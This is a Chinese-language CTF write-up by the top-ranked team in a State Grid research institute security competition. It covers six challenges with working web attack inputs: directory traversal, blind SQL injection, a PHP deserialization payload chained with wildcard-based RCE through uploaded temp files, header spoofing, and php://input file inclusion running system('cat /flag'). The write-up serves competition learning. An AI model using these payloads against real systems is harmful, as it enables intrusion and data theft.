电科院密码保密与信息安全竞赛网络攻防宣传赛 Writeup
一、 战队信息
战队名称:20221214
战队排名:1
二、 解题过程
ctf1
用Winhex打开,最后有一串编码字符,拿去一把梭即可。
ctf2
目录穿越
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/flag
ctf3
仔细观察可以看到url编码后的SQL注入语句,mid用于截取字符串,当出现welcome admin!
说明该字符正确,将正确的字符逐个写入到C脚本变量中,输出得到flag。
char a[] = {102,108,97,103,123,99,49,52,50,54,53,97,53,51,98,101,99,49,56,52,56,98,102,97,99,50,100,102,100,97,51,101,54,54,55,98,99,125};
cout << a;
ctf4
打开网页,一个简单的反序列化+困难的无字母数字RCE,序列化代码如下:
class icunqi{
public $code = "ls"; //要执行的代码
}
$ta = new icunqi();
echo urlencode(serialize($ta));
将得到的一串字符放入 ?code=
后即可。
无字母数字RCE可以使用PHP任意文件上传漏洞,即向 PHP 发送 Post 数据包,如果数据包中包含文件,无论 php 代码中有没有处理文件上传的逻辑,php 都会将这个文件保存为一个临时文件:
- 该文件默认存储在
/tmp
目录中『可通过php.ini
的upload_tmp_dir
指定存储位置』 - 文件名为
php[6个随机字符]
,例:phpG4ef0q
HTTP请求如下:
POST /?code=O%3A6%3A%22icunqi%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22%2F%3F%3F%3F%2F%5B%60-%7B%5D%22%3B%7D HTTP/1.1
Host: 39.106.48.123:28692
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714
Connection: close
-----------------------------7dbff1ded0714
Content-Disposition: form-data; name="file"; filename="test.txt"
#!/bin/sh
whoami
-----------------------------7dbff1ded0714--
在上传文件的同时执行 . /???/????????[@-[
即可有概率执行 whoami
,多尝试几次即可。
随后执行 ls
,看到包含flag的文件,cat 即可得到 flag。
ctf5
根据提示,在请求头添加 X-Forward-For:1.1.1.1
,得到flag。
ctf6
打开页面,看到提示: flag in cream
,打开/cream.php
,感觉考察的是代码审计。
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['file'])&&strlen($_GET['file'])>strlen("flag in cream")){
die("too long,no flag");
}
$fp = fopen($_GET['file'], 'r+');
if(preg_match("/php|file|http|eval|exec|system|popen|flag|\<|\>|\"|\'/i", $_GET['content'])){
die("hacker");
}
fputs($fp, $_GET['content']);
rewind($fp);
$data=stream_get_contents($fp);
include($data);
?>
简而言之就是通过 get 可以提交两个变量:file
和 content
。PHP首先根据 file
为路径打开一个文件,然后把 content
写进去(从文件头开始),之后再执行文件里的代码。
但其实,我尝试了几个 file
都写不进去,于是尝试 php 伪协议,get 参数为?file=php://input
,方法改为POST
,请求体为 data://text/plain,<?php phpinfo();
得到 phpinfo
:
将 phpinfo()
改为 system('cat /flag')
即可得到 flag。